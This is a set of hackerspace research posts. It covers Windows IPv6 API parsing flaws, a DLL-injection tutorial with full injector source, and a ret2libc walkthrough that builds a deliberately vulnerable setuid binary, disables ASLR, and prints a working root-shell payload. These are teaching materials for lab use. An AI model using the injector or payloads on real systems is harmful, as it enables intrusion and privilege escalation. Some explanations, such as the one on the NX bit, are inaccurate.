
Lets talk about how to write a research post to appear on the research portal https://801labs.org/research-portal/1/

Previously, we used the platform Ghost to write and publish research articles, how tos, and anouncments. This time around in the new website, we have had the research blog function built directly in. 

All a user has to do to create an article
* go into [Github](https://github.com/801labs/801labs.org)
* fork the repo
* navigate to the `/content/research` directory in the `main` branch.
* create a new file with a dash seperated name, such as `example-post.md`
* import the below code block into your new markdown file. This block of code instructs the website on how to display information about the post. This includes tags, a title, a cover image, an author, etc.


```
---
title: <A solid Title>
slug: a-good-slug
date_published: 2018-10-25T02:33:04.000Z
date_updated: 2018-10-25T02:35:15.000Z
tags: tag1, tag2
excerpt: A brief little discription of what your post is about.
cover: 'folder/for/image.jpg'
author:
  name: your name
  avatar: 'avatars/youravatar.jpeg'
---
```

* write your post
* create a pull request with your post


Writing research posts


[Half of the world still lacks Internet access](https://en.wikipedia.org/wiki/Global_Internet_usage#Internet_users), but [there are no IPv4 addresses left to hand out](https://ipv4.potaroo.net/). On the other hand, [33% of Google's customer base has a working IPv6 connection now](https://www.google.com/intl/en/ipv6/statistics.html ) and [Apple is pushing developers to switch just for the performance benefits](https://www.zdnet.com/article/apple-tells-app-devs-to-use-ipv6-as-its-1-4-times-faster-than-ipv4/). It's clear that IPv6 will be increasingly important as time goes on, which means that software libraries for IPv6 deserve scrutiny now.

Microsoft Windows has accumulated numerous API functions for converting IPv6 addresses from text to binary (parsing) and from binary to text (printing), including:

*   [iphlpapi.ParseNetworkString](https://docs.microsoft.com/en-us/windows/win32/api/iphlpapi/nf-iphlpapi-parsenetworkstring)
*   [ws2\_32.inet\_ntop](https://docs.microsoft.com/en-us/windows/win32/api/ws2tcpip/nf-ws2tcpip-inet_pton)
*   [ws2\_32.InetNtopW](https://docs.microsoft.com/en-us/windows/win32/api/ws2tcpip/nf-ws2tcpip-inetntopw)
*   [ws2\_32.inet\_pton](https://docs.microsoft.com/en-us/windows/win32/api/ws2tcpip/nf-ws2tcpip-inet_pton)
*   [ws2\_32.InetPtonW](https://docs.microsoft.com/en-us/windows/win32/api/ws2tcpip/nf-ws2tcpip-inetptonw)
*   [ws2\_32.WSAAddressToStringA](https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsaaddresstostringa)
*   [ws2\_32.WSAAddressToStringW](https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsaaddresstostringw)
*   [urlmon.CreateUri](https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/platform-apis/ms775098(v=vs.85)) (string normalization only)
*   dnsapi.DnsIpv6AddressToString (undocumented)
*   dnsapi.DnsIpv6StringToAddress (undocumented)

However, all of these functions behave identically to, and are surely built upon, the following:

*   [ntdll.RtlIpv6AddressToStringA](https://docs.microsoft.com/en-us/windows/win32/api/ip2string/nf-ip2string-rtlipv6addresstostringa)
*   [ntdll.RtlIpv6AddressToStringW](https://docs.microsoft.com/en-us/windows/win32/api/ip2string/nf-ip2string-rtlipv6addresstostringw)
*   ntdll.RtlIpv6AddressToStringExA (not explicitly documented)
*   [ntdll.RtlIpv6AddressToStringExW](https://docs.microsoft.com/en-us/windows/win32/api/ip2string/nf-ip2string-rtlipv6addresstostringexw)
*   [ntdll.RtlIpv6StringToAddressA](https://docs.microsoft.com/en-us/windows/win32/api/ip2string/nf-ip2string-rtlipv6stringtoaddressa)
*   [ntdll.RtlIpv6StringToAddressW](https://docs.microsoft.com/en-us/windows/win32/api/ip2string/nf-ip2string-rtlipv6stringtoaddressw)
*   ntdll.RtlIpv6StringToAddressExA (not explicitly documented)
*   [ntdll.RtlIpv6StringToAddressExW](https://docs.microsoft.com/en-us/windows/win32/api/ip2string/nf-ip2string-rtlipv6stringtoaddressexw)

The two RtlIpv6AddressToString functions only print plain IPv6 addresses. The _Ex_ suffix in the RtlIpv6AddressToStringEx functions indicates that they were added later, and they can print addresses with or without a network interface number or port.

Likewise, the RtlIpv6StringToAddress functions are older and can only parse plain IPv6 addresses. They report the _terminator_ via a pointer argument, the terminator being the first unparsable character in the input string. The newer RtlIpv6StringToAddressEx functions can, in addition to parsing unadorned addresses, parse text that includes a network interface number or port. Furthermore, the Ex functions are more strict about what they accept than the originals: They do not report the terminator because they just return an error code if the address does not end at the end of the string.

This year (2020), I [implemented all eight of those ntdll functions for Wine](https://source.winehq.org/git/wine.git/blob/bedfb9cae224a369efa4588332a5518dbee57035:/dlls/ntdll/rtl.c#l1091) from scratch, knowing nothing about how the Windows implementations are coded. I tested millions of string inputs to determine exactly what counts as an IPv6 address in Windows, and in the process found some interesting quirks that could lead to security vulnerabilities in Windows software.

## RtlIpv6StringToAddress(Ex) might give you the wrong address

In a spec-conformant IPv6 address parser, a `::` [represents two or more bytes of zeros](https://tools.ietf.org/html/rfc4291#section-2.2). In the Windows APIs, this is only true if the double colon is in the middle or at the end of the address: If it comes at the beginning, it counts as at least four bytes of zeros. For example, if the address `::1` were written as `::0:0:0:0:0:0:0:1` (perfectly valid according to the spec), RtlIpv6StringToAddress reports that the terminator is the last `:` instead of the null terminator `\0` and it returns `STATUS_SUCCESS`. RtlIpv6StringToAddressEx is better because it returns the error code `STATUS_INVALID_PARAMETER` instead. Nevertheless, both functions fill the address buffer with the parsed address, minus two bytes at the end and plus two zero bytes at the beginning. In this example, the binary address that is stored will be `::` instead of `::1`. If the calling program does not check for errors thoroughly, this defect could expose sensitive data by causing server software to bind to `::` (all addresses) instead of `::1` (localhost only).

The fact that Windows fails to parse some valid addresses is a compelling reason to avoid using the Windows IPv6 parsing APIs altogether, since differences between how IPv6 implementations output and interpret addresses can lead to software incompatibility. I felt that this was such a glaring problem that I wrote to Microsoft Security about it in January 2020, but because they did not consider it to be a significant security issue, it has yet to be fixed.

## RtlIpv6AddressToString writes past the null terminator

RtlIpv6AddressToString always zeroes out the 46th character of the buffer, even though the longest possible normalized native IPv6 address is only 39 characters:

`1111:2222:3333:4444:5555:6666:7777:8888`

If the input is an [ISATAP](https://en.wikipedia.org/wiki/ISATAP) address (indicated by `0` or `200` in the fifth component and `5efe` in the sixth component), the longest possible normalized address increases to 44 characters in length, which is still one less than 45:

`1111:2222:3333:4444:200:5efe:255.255.255.255`

Overwriting the 46th character could cause a buffer overflow if the function is given an output buffer of less than 46 characters. The problem was fixed in RtlIpv6AddressToStringEx, which writes the minimum number of characters necessary.

## RtlIpv6StringToAddress does not limit the length of the last component

[An IPv6 address is invalid if any of its components are longer than four digits](https://tools.ietf.org/html/rfc4291#section-2.2) (even if the extra digits are just leading zeros). And since IPv6 address components are hexadecimal by default, there's no prefix like `0x` to switch from decimal to hexadecimal. However, RtlIpv6AddressToString waives the length requirement for the last component if it is prefixed with `0x`, for example:

`::0x9999999999999999999999999999999999999999999999999999999999999999999999abcd`

No matter how long the last component is, if it starts with `0x` and contains only hexadecimal digits, the value is taken from the last four digits (`::abcd` in this example), the terminator is set to the `x`, and `STATUS_SUCCESS` is returned. This could result in a buffer overflow if an address that RtlIpv6AddressToString validates is assumed to be 45 characters or less and then copied to a 45-character buffer. The problem is more or less fixed in RtlIpv6StringToAddressEx, which returns `STATUS_INVALID_PARAMETER` if it encounters a `0x`, although it still parses and saves the value following the `0x` in the same way as RtlIpv6StringToAddress.

## Best practices

With all of the above in mind, here's what I recommend:

*   For the sake of interoperability, avoid the Windows IPv6 parsing APIs if possible. Use an external library such as [ipv6-parse](https://github.com/jrepp/ipv6-parse) instead.
*   If you do use the Windows IPv6 parsing or printing APIs, always use the Ex functions instead of the older ones.
*   Check the return value of RtlIpv6StringToAddressEx for errors, even if you have already validated the IPv6 address with a spec-conformant parser.

Happy coding! And if you're not already using [Wine](https://www.winehq.org/), be sure to check out the Wine 6.0 release (I'll be calling it "Wine Vista") which is due out at the beginning of next year. Apart from improved IPv6 support, compatibility with popular Windows software has taken an enormous step forward since Wine 5.0 thanks to an overhauled software architecture and tighter integration with MinGW.

Photo credit: [Phil Wolff](https://www.flickr.com/photos/philwolff/5557354098/in/photolist-9t5TKY-jKi9BZ-reZriP-csBi4j-bozscb-5XWDVu-8qdoiy-9GWxX7-cc8j1J-ost5VM-cj45H5-7FQyVD-5XWDVm-58Zu4e-nQ4nF5-nxHJA4-d8vfpA-nxHH9r-8qdobj-9TExeZ-bvov6x-5NtZnq-7yQMwe-cCjXzo-4qQ54q-48dbjJ-23s1XwA-GxGQpg-brFDWM-bdQpKT-bdPJ1F-brEEDH-2h3Jv9-c2pZVE-bdQgai-nEho6E-9UfTM8-bdQ3N4-6QdWkz-aousCH-kwkHqE-bdQeyz-brEEzR-9QT9bn-9THsMQ-bdQ6Xa-bdQaA4-brFJoP-bdPQki-bdPM64)

Quirks in the Windows IPv6 address parsing and printing APIs


[DLL injection](https://en.wikipedia.org/wiki/DLL_injection) is the process of forcing a running process to load a DLL (Dynamically Linked Library) of your choice. In this write-up, I'll walk you through the LoadLibraryA injection method. This causes the DLL to be loaded into the context of the process thus allowing us to execute our own code inside of the process's virtual memory space.

	I assume there is a base understanding of what a DLL is. By the end of this write-up, we'll have a functional DLL injector along with a bare-bone test DLL which we'll use for testing during development.

	Writing a DLL injector is pretty trivial and only requires a handful steps. Remember that DLLs are specific to Windows and there-for we'll be utilizing functions provided to us by the Windows API. The steps required for the task at hand are in order as follows:

1. Acquire a handle to the remote process that you want to inject / load your DLL into. We do this by prompting for a process ID (PID) after displaying a list of processes w/ their PIDs.


    // Get the remote target pid
    uint16_t target_pid = get_target_pid();
    
    if (!target_pid) {
    std::cerr << "Getting remote target process ID failed..." << std::endl;
    return 1;
    }
    
    // <snipped> ...
    
    // Obtain a handle to the target remote process.
    HANDLE target_process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, target_pid);
    
    
    if (target_process == NULL) {
        std::cerr << "Acquiring a handle to the remote target process failed..." << std::endl;
        return -1;
    }

*get_target_pid() function:*

    
    uint16_t get_target_pid() {
    	uint16_t pid = 0;
    	
    	std::string pid_str;
    	bool first_input_entered = false;
    
    	do {
    		if (first_input_entered) {
    			system("cls");
    			print_banner();
    			std::cerr << "The given process ID is invalid, try again..." << std::endl;
    		}
    
    		print_process_list();
    
    		std::cout << "\nEnter target process ID: ";
    		std::getline(std::cin, pid_str);
    
    		if (first_input_entered == false) {
    			first_input_entered = true;
    		}
    
    		if (pid_str == "exit" ||
    			pid_str == "quit") {
    			break;
    		}
    
    	} while (file_exists(pid_str) == false && !pid_str.size());
    
    	if (pid_str != "exit" &&
    		pid_str != "quit") {
    		pid = (uint16_t)std::stoi(pid_str);
    	}
    
    	return pid;
    }

2. Create and store the DLL's absolute path in a variable.


    // Get the dll's path that we want to inject into our remote target process.
    std::string dll_path = get_dll_path();
    
    std::cout << "DLL path: " << dll_path << std::endl;

*get_dll_path() function:*

    std::string get_dll_path() {
    
    	std::string dll_path;
    	bool first_input_entered = false;
    
    	do {
    		if (first_input_entered) {
    			system("cls");
    			print_banner();
    			std::cerr << "Specified DLL path was invalid, try again..." << std::endl;
    		}
    
    		std::cout << "Enter path to DLL: ";
    		std::getline(std::cin, dll_path);
    
    		if (first_input_entered == false) {
    			first_input_entered = true;
    		}
    
    		if (dll_path == "exit" ||
    			dll_path == "quit") {
    			break;
    		}
    
    	} while (file_exists(dll_path) == false);
    
    	return dll_path;
    }

3. Now we need to allocate enough space in the remote process to store the DLLs absolute path. We achieve this by using Window's [VirtualAllocEx](https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-virtualallocex) function.


    // Allocate space for our DLL path inside the target remote process.
    LPVOID dll_path_in_remote_mem_addr = VirtualAllocEx(
    	target_process,
    	NULL,
    	_MAX_PATH,
    	MEM_RESERVE | MEM_COMMIT,
    	PAGE_EXECUTE_READWRITE
    );
    
    if (dll_path_in_remote_mem_addr == NULL) {
    	std::cerr << "Allocating space for our DLL path in the remote target process's virtual memory space failed..." << std::endl;
    	CloseHandle(target_process);
    	return 1;
    }
    
    std::cout << "DLL allocation memory address: " << &dll_path_in_remote_mem_addr << std::endl;

4. And now that we've allocated and reserved enough memory for the DLL path, we can write it into that region of memory of the remote process using the Window's [WriteProcessMemory](https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-writeprocessmemory) function. 


    // Copy the DLL path into the allocated memory region.
    bool write_status = WriteProcessMemory(
    	target_process,
    	dll_path_in_remote_mem_addr,
    	dll_path.c_str(),
    	strlen(dll_path.c_str()),
    	NULL
    );
    
    std::cout << "WriteProcessMemory was " << (write_status ? "successful!" : "unsuccessful...") << std::endl;;
    
    if (!write_status) {
    	std::cerr << "GetLastError() for failed WriteProcessMemory() call: " << GetLastError() << std::endl;
    	CloseHandle(target_process);
    	return 1;
    }

5. Next, we'll need to obtain the address to the Window's [LoadLibraryA](https://docs.microsoft.com/en-us/windows/desktop/api/libloaderapi/nf-libloaderapi-loadlibrarya) function. This is easily done through the Window's [GetProcAddress](https://docs.microsoft.com/en-us/windows/desktop/api/libloaderapi/nf-libloaderapi-getprocaddress) function.


    // Get the address to the LoadLibraryA Windows API function.
    LPVOID load_library_addr = (LPVOID)GetProcAddress(
    	GetModuleHandle("kernel32.dll"),
    	"LoadLibraryA"
    );
    
    if (load_library_addr == NULL) {
    	std::cerr << "GetProcAddress failed..." << std::endl;
    	CloseHandle(target_process);
    	return 1;
    }
    
    std::cout << "LoadLibraryA address: " << &load_library_addr << std::endl;

6. Create a remote thread via [CreateRemoteThread](https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createremotethread) and pass the handle we have on the remote process, the address to LoadLibraryA, and the memory address that our DLL path resides at. LoadLibraryA will be invoked and passed `dll_path_in_remote_mem_addr` by our call to CreateRemoteThread. This is where the magic happens and our DLL is loaded into the process.


    // Create our remote thread for running our DLL code.
    HANDLE remote_thread = CreateRemoteThread(
    	target_process,
    	NULL,
    	NULL,
    	(LPTHREAD_START_ROUTINE)load_library_addr,
    	dll_path_in_remote_mem_addr,
    	NULL,
    	NULL
    );
    
    if (remote_thread == NULL) {
    	std::cerr << "CreateRemoteThread failed..." << std::endl;
    	return 1;
    }
    
    std::cout << "Remote thread address: " << &remote_thread << std::endl;

7. The last thing we do is deallocate the memory that was reserved for our DLL path using [VirtualFreeEx](https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-virtualfreeex) and then close our open handles using [CloseHandle](https://docs.microsoft.com/en-us/windows/desktop/api/handleapi/nf-handleapi-closehandle).


    // Release the allocated memory we acquired from the remote process.
    if (VirtualFreeEx(target_process, dll_path_in_remote_mem_addr, 0, MEM_RELEASE) == 0) {
    	std::cerr << "VirtualFreeEx failed on target process..." << std::endl;
    }
    
    // Free our handle on the remote thread
    CloseHandle(remote_thread);
    
    // Free our handle on the remote process
    CloseHandle(target_process);

Tying our code together and testing it out ~ we run `.\InjectDLL.exe`, then enter the remote target PID, and finally the absolute path to `TestDLL.dll`. Our executable outputs some information about the injection indicating it was successful.  

![](2019/07/2019-05-02-090559_3440x1440_scrot.png "Successful execution of our DLL injector")

Our injector indicated it was successful, but we can double check with Window's [Process Explorer](https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer). After installing it (if you don't have it installed already) we launch it, make sure the lower pane is visible by toggling it on. This can be achieved by checking the `View -> Show Lower Pane` option. Then, select the remote target process in the list and press the key combination `Ctrl + d`. You should now see a list of loaded DLLs. One of which is our DLL! 

![](2019/07/process-explorer-test-dll-injection-success.png "Using Process Explorer, we can see that our TestDLL.dll file was injected into Game.exe successfully.")

Once we have successfully loaded our DLL into the target process, we can access and reference anything within it's virtual memory space. In part 2, I'll demonstrate an example use case of DLL injection by showing how we can find an in-memory data structure (i.e. the offset to a player structure / class in a game).

The full source code for both the DLL injector and the Test DLL can be found in this [Github](https://github.com/selftaught/DLLinjector) repository.

Thanks for reading through this article! If you notice any issues in the write-up or code - please don't hesitate to message me! You can do so via [keybase](https://keybase.io/th3v0id) or [twitter](https://twitter.com/x74x76).


DLL injection - Developing a simple injector.


A stack buffer overflow occurs when a program writes to a memory address on it's call stack outside of the intended structure / space.

In this walk-through, I'm going to cover the ret2libc (return-to-libc) method. This method of exploitation is great because it doesn't require the use of your typical shellcode. It involves making sys calls to the functions provided to us by libc (standard c library). We're going to use the `system` and `exit` sys calls for demonstration.

To have a good understanding about how stack overflows work, it's extremely helpful to know how stack data structures work, and more importantly - how the call stack works. For the sake of time, I'm not going to type out how these two things work in great detail. If you want to know how these work, I would recommend watching [stack](https://www.youtube.com/watch?v=7dLZRMDcY6c) and [call stack](https://www.youtube.com/watch?v=XbZQ-EonR_I).

## Creating a vulnerable binary to test on

To practice carrying out a SOF, we create a vulnerable binary. The source below uses strcpy with no boundary checking. This is what makes the code vulnerable to a stack overflow attack. strcpy() will take whatever is in argv[1] and copy it into buf. Without boundary checking around strcpy() to make sure the length of argv[1] isn't greater than the width of the buffer, we can overrun the buffer and overwrite assembler instructions with our own.

    #include <string.h>
    #include <unistd.h>
    #include <sys/cdefs.h>
    
    int main(int argc, char** argv) {
    
        setuid(0);
    
        if (argc > 1) {
            char buf[256];
            strcpy(buf, argv[1]);
        }
    
        return 0;
    }
    

For the sake of simplicity and keeping this article to a sane length, I disable common buffer overflow protection (BOP) mechanisms including ASLR, Canaries, and NX bit. PIE and RelRO are disabled on my system by default. I also pass an option along to make the binary 32-bit.

`gcc -g -Wall -mpreferred-stack-boundary=2 -fno-stack-protector -m32 -I. -z execstack -o bin/sof src/sof.c`

- `-g`: Produces debugging information about the program that GDB (GNU Debugger) can use to aid us.
- `-fno-stack-protector`: Disables stack smashing protectors (SSP).
- `-z execstack`: Makes stack frames executable.
- `-o sof`: Output (compiled) binary name will be sof.
- `-mpreferred-stack-boundary=2`: aligns the stack boundary in our binary to 4 bytes.

ASLR can't be disabled via a compiler flag because it's a feature that's carried out and managed by the kernel. On Fedora, Debian, and Ubuntu, ASLR can be disabled by adding `kernel.randomize_va_space = 0` to `/etc/sysctl.conf` or `echo 0 > /proc/sys/kernel/randomize_va_space`. Other linux distributions may require a different approach. An easy way to determine if ASLR is enabled (it likely is if you didn't expliclity disable it) is to `cat /proc/sys/kernel/randomize_va_space`. If the output is a positive number, it's enabled.

## Assembler dump breakdown

Let's disassemble the main function in our binary, break it down, and talk about what happens at an assembler level.

    th3v0id@lenovo:~/repos/bufferoverflows/stack/01|master 
    ⇒  gdb -q 	bin/sof                                              
    [*] No debugging session active
    GEF for linux ready, type `gef' to start, `gef config' to configure
    67 commands loaded for GDB Fedora 8.0.1-33.fc27 using Python engine 3.6
    Reading symbols from bin/sof...done.
    @gef➤  disassemble main
    Dump of assembler code for function main:
       0x08048416 <+0>:	push   ebp
       0x08048417 <+1>:	mov    ebp,esp
       0x08048419 <+3>:	sub    esp,0x100
       0x0804841f <+9>:	push   0x0
       0x08048421 <+11>:	call   0x8048300 <setuid@plt>
       0x08048426 <+16>:	add    esp,0x4
       0x08048429 <+19>:	cmp    DWORD PTR [ebp+0x8],0x1
       0x0804842d <+23>:	jle    0x8048447 <main+49>
       0x0804842f <+25>:	mov    eax,DWORD PTR [ebp+0xc]
       0x08048432 <+28>:	add    eax,0x4
       0x08048435 <+31>:	mov    eax,DWORD PTR [eax]
       0x08048437 <+33>:	push   eax
       0x08048438 <+34>:	lea    eax,[ebp-0x100]
       0x0804843e <+40>:	push   eax
       0x0804843f <+41>:	call   0x80482e0 <strcpy@plt>
       0x08048444 <+46>:	add    esp,0x8
       0x08048447 <+49>:	mov    eax,0x0
       0x0804844c <+54>:	leave  
       0x0804844d <+55>:	ret    
    End of assembler dump.
    @gef➤  q
    

       0x08048416 <+0>:	push   ebp
       0x08048417 <+1>:	mov    ebp,esp
       0x08048419 <+3>:	sub    esp,0x100
    

These first few lines above are called a function prologue. `push ebp` pushes our base pointer onto the stack. Then `mov ebp,esp` copies the value of `esp` (stack pointer) into the `ebp` register making `ebp` == `esp`. Next, `sub esp,0x100` moves the stack pointer 256 bytes (0x100 hex = 256) towards a lower memory address, reserving 256 bytes of data on the stack. This is space being reserved for `char buf[256]`.

       0x0804841f <+9>:	push   0x0
       0x08048421 <+11>:	call   0x8048300 <setuid@plt>
    

Push 0 onto the stack as an argument for the call to `setuid()`.

       0x08048426 <+16>:	add    esp,0x4
       0x08048429 <+19>:	cmp    DWORD PTR [ebp+0x8],0x1
       0x0804842d <+23>:	jle    0x8048447 <main+49>
    

The next instruction `cmp DWORD PTR [ebp+0x8],0x1` compares the first argument of main (argc) to 1. The following `jle` instruction uses the result of this comparison. It takes the result and jumps to `<main+39>` if the result is less than or equal to the value stored at `0x8048412`, which is 1. If you look at the C source above, you can see this is essentially our `if (argc >) {...}` condition.

       0x0804842f <+25>:	mov    eax,DWORD PTR [ebp+0xc]
       0x08048432 <+28>:	add    eax,0x4
       0x08048435 <+31>:	mov    eax,DWORD PTR [eax]
       0x08048437 <+33>:	push   eax
    

Here, we move the address stored at ebp+0xc into the eax register (this is the address to element 0 of argv). Then, we add 4 bytes to the address stored in the eax register. This results in the address of `argv[1]`. Next, `mov eax,DWORD PTR [eax]` takes the value at `argv[1]` and copies it into the `eax` register. `push eax` pushes this value onto the stack.

       0x08048438 <+34>:	lea    eax,[ebp-0x100]
       0x0804843e <+40>:	push   eax
    

`lea eax,[ebp-0x100]` calculates the address of `ebp-0x100` and stores the address in `eax`. `push eax` pushes this address onto the stack.

       0x0804843f <+41>:	call   0x80482e0 <strcpy@plt>
    

The `call` instruction does a couple of things. It pushes the address of the instruction immediately following the call instruction onto the stack and then does an unconditional jump to `strcpy@plt`. The reason a return address is pushed onto the stack is so that when `strcpy@plt` finishes executing, the program knows where to return execution.

       0x08048444 <+46>:	add    esp,0x8
       0x08048447 <+49>:	mov    eax,0x0
       0x0804844c <+54>:	leave  
       0x0804844d <+55>:	ret    
    

These last four instructions are a function epilog. This is just the opposite of a function prologue. Instead of setting up the stack, the epilog cleans up the stack. `add esp,0x8` adds 8 bytes to the address `esp` points to. Then `mov eax,0x0` zeros out whatever is stored in the `eax` register. The `leave` instruction does a couple of things. It releases the stack frame and then copies the base pointer (`ebp`) into `esp`. This releases the space that was allocated to the previous stack frame. Finally, the `ret` instruction pops the return address off the stack and transfers returns execution to the address that was pop'd.

# Exploiting the SOF vulnerability

Now that we have disabled common BOP features and understand the assembler of our vulnerable binary, we will begin exploiting. One of the first things I like to do (after reviewing the assembler dump) is to verify that an overflow exists by triggering a segmentation fault. This is done by providing data to a program which in our case, get's strcpy'd into a fixed width buffer.

    th3v0id@lenovo:~/repos/bufferoverflows/stack/01|master 
    ⇒  bin/sof $(perl -e 'print "A" x 260')
    [1]    6406 segmentation fault (core dumped)  bin/sof $(perl -e 'print "A" x 260')
    

When we strcpy 260 'A' characters into the buffer, we get a segmentation fault. This is because we overwrote the four bytes of memory after the end of our buffer. Segmentation faults are exceptions that get raised by hardware with memory protection. It indicates that something tried writing to a region of memory it shouldn't have.

## Creating the payload

In order to successfully call `system`, we need to place a few different values on the stack, when we overflow the buffer. We need the address of "/bin/sh" found in libc.so, an address that execution will return to when system has finished, and an address to the system call itself.

To get the address to '/bin/sh', we can calculate it by taking the starting address of libc.so and adding the offset of '/bin/sh' to it.

To see the absolute path to the libc.so library that our binary uses, we use `ldd`. This is needed for the next step.

    th3v0id@lenovo:~/repos/bufferoverflows/stack/01|master
    ⇒  ldd bin/sof
    	linux-gate.so.1 (0xf7fd2000)
    	libc.so.6 => /lib/libc.so.6 (0xf7deb000)
    	/lib/ld-linux.so.2 (0xf7fd4000)
    
    

Next, we use `strings` to report the offset of any string it finds in libc.so and grep the output for what we're after.

    th3v0id@lenovo:~/repos/bufferoverflows/stack/01|master
    ⇒  strings -a -t x /lib/libc.so.6 | grep '/bin/sh'   
     16a23e /bin/sh
    

Running `vmmap` will also provide the starting address of libc.so when ran from a active gdb session.

    th3v0id@lenovo:~/repos/bufferoverflows/stack/01|master 
    ⇒  gdb -q bin/sof
    
    @gef➤  vmmap
    Start      End        Offset     Perm Path
    0x08048000 0x08049000 0x00000000 r-x /home/th3v0id/repos/bufferoverflows/stack/01/bin/sof
    0x08049000 0x0804a000 0x00000000 rwx /home/th3v0id/repos/bufferoverflows/stack/01/bin/sof
    0xf7deb000 0xf7fa4000 0x00000000 r-x /usr/lib/libc-2.26.so
    0xf7fa4000 0xf7fa5000 0x001b9000 --- /usr/lib/libc-2.26.so
    0xf7fa5000 0xf7fa7000 0x001b9000 r-x /usr/lib/libc-2.26.so
    0xf7fa7000 0xf7fa8000 0x001bb000 rwx /usr/lib/libc-2.26.so
    0xf7fa8000 0xf7fab000 0x00000000 rwx 
    0xf7fcd000 0xf7fcf000 0x00000000 rwx 
    0xf7fcf000 0xf7fd2000 0x00000000 r-- [vvar]
    0xf7fd2000 0xf7fd4000 0x00000000 r-x [vdso]
    0xf7fd4000 0xf7ffc000 0x00000000 r-x /usr/lib/ld-2.26.so
    0xf7ffc000 0xf7ffd000 0x00027000 r-x /usr/lib/ld-2.26.so
    0xf7ffd000 0xf7ffe000 0x00028000 rwx /usr/lib/ld-2.26.so
    0xfffda000 0xffffe000 0x00000000 rwx [stack]
    
    @gef➤  q
    

We calculate the address by taking the start address of `/usr/lib/libc-2.26.so` and add the offset of the string. I like to use `printf` for this. If you use printf in gdb, you have to add `shell` before the command so gdb doesn't try to interpret it as one it provides. Same applies to any shell command you want to run in gdb.

    th3v0id@lenovo:~/repos/bufferoverflows/stack/01|master
    ⇒  printf "0x%x\n" $((0xf7deb000 + 0x16a23e))  
    0xf7f5523e
    

To verify the address is correct, we can evaluate it in gdb, and see what string resides there. It should be '/bin/sh'.

    @gef➤  x/s 0xf7f5523e
    0xf7f5523e:	"/bin/sh"
    

And now, we just need the address of `system`.

    @gef➤  p system
    $1 = {<text variable, no debug info>} 0xf7e2c540 <__libc_system>
    
    @gef➤  q
    

Because I'm on a machine with an Intel processor and I compiled the binary for 32 bit systems, the addresses we found need to be reversed to conform with little-endian notation. If you have a processor that enforces little-endian notation, you will find yourself doing this often. I wrote this [script](https://gist.github.com/selftaught/5ba8e942f68ae38719243de8d07bcaea) that takes a memory address and reverses it.

Reverse system address

    th3v0id@lenovo:~/repos/bufferoverflows/stack/01|master
    ⇒  raddr -a 0xf7e2c540
    \x40\xc5\xe2\xf7
    

Reverse "/bin/sh" string address

    th3v0id@lenovo:~/repos/bufferoverflows/stack/01|master
    ⇒  raddr -a 0xf7f5523e
    \x3e\x52\xf5\xf7
    

And for the return address, we can use anything for the time being.

    th3v0id@lenovo:~/repos/bufferoverflows/stack/01|master 
    ⇒   raddr -a 0xdeadc0de
    \xde\xc0\xad\xd
    

We modify the command we ran earlier, adding the reversed addresses onto the end of the payload.

    #
    # [      260 x "A" characters      ][  system() address  ][ random address ][ '/bin/sh' address ]
    #
    th3v0id@lenovo:~/repos/bufferoverflows/stack/01|master
    ⇒  bin/sof $(perl -e 'print "A" x 260 . "\x40\xc5\xe2\xf7" . "\xde\xc0\xad\xde" . "\x3e\x52\xf5\xf7"')
    @sh-4.4# whoami
    root
    @sh-4.4# exit
    exit
    [1]    9121 segmentation fault  bin/sof 
    

We successfully overflow the buffer, call system with '/bin/sh' as the first arg, and get a shell. This works even despite the fact that when we exit from the shell, we get a segmentation fault. There is a way to exit the shell cleanly without triggering a segfault. What we can do instead of using 0xdeadbeef for our return address is use the `exit` system call address instead. Doing so should give us a clean exit.

    @gef➤  p exit
    $2 = {<text variable, no debug info>} 0xf7e1e8f0 <__GI_exit>
    
    @gef➤  q
    

Reverse exit's address

    th3v0id@lenovo:~/repos/bufferoverflows/stack/01|master 
    ⇒  raddr -a 0xf7e1e8f0 
    \xf0\xe8\xe1\xf7
    

And now replace the invalid return address with it in our payload.

    #
    # [      260 x "A" characters      ][  system() address  ][ exit() address ][ '/bin/sh' address ]
    #
    th3v0id@lenovo:~/repos/bufferoverflows/stack/01|master
    ⇒  bin/sof $(perl -e 'print "A" x 260 . "\x40\xc5\xe2\xf7" . "\xf0\xe8\xe1\xf7" . "\x3e\x52\xf5\xf7"')
    @sh-4.4# whoami
    root
    @sh-4.4# exit
    exit
    th3v0id@lenovo:~/repos/bufferoverflows/stack/01|master
    ⇒
    

And get a shell with a clean exit.

## Brief overview of a few common buffer overflow protection mechanisms

- 
ASLR (Address Space Layout Randomization)

- ASLR is a technique used to randomize the address space of programs when they start. This is done by giving program a random start address. This makes exploiting a buffer overflow more difficult because the addresses in the program become unreliable thus making it harder to consistently jump to any given address. Just like any other security mechanisms, ASLR only makes things more difficult. Not impossible.

- 
Canary

- Stack Canaries are used to catch stack overflows before malicious code is executed. These work by modifying function epilog and prologue regions on the stack. If a buffer is overwritten during execution, it's noticed, and results in an exception (hopefully) which bubbles up until it is caught by an exception handler. This is not always successful and there are methods for exploiting this. If you can successfully overwrite the exception handler on the stack (SEH), you can carry out your exploit, completely mitigating canaries.

- 
RELRO (RELocation Read-Only)

- RELRO protection makes the relocation sections that are used to resolve dynamically loaded functions, read-only. Essentially, what this means is that binaries get marked which tells the dynamic linker to resolve all symbols during the start up of a program when it's executed or when a shared library is linked to using dlopen instead of waiting to do resolution when a function is called.

- 
NX bit (Non-executable bit)

- Used to mark certain areas of memory as non-executable. Any processors that support the use of the NX bit will refuse to perform any write operations on marked segments of memory.

- AMD uses the terminology "Enhanced Virus Protection" for the NX bit.
- Intel refers to it as the "XD (eXecute Disabled) bit."
- ARM refers to it as the "XN (eXecute Never) bit."

## Further Reading

- [BOF protection](https://en.wikipedia.org/wiki/Buffer_overflow_protection)
- [Understanding Buffer Overflow Attacks](https://itandsecuritystuffs.wordpress.com/2014/03/18/understanding-buffer-overflows-attacks-part-1/)
- [Stack - Abstract Data Type](https://en.wikipedia.org/wiki/Stack_(abstract_data_type))
- [Smashing The Stack For Fun And Profit](http://insecure.org/stf/smashstack.html)
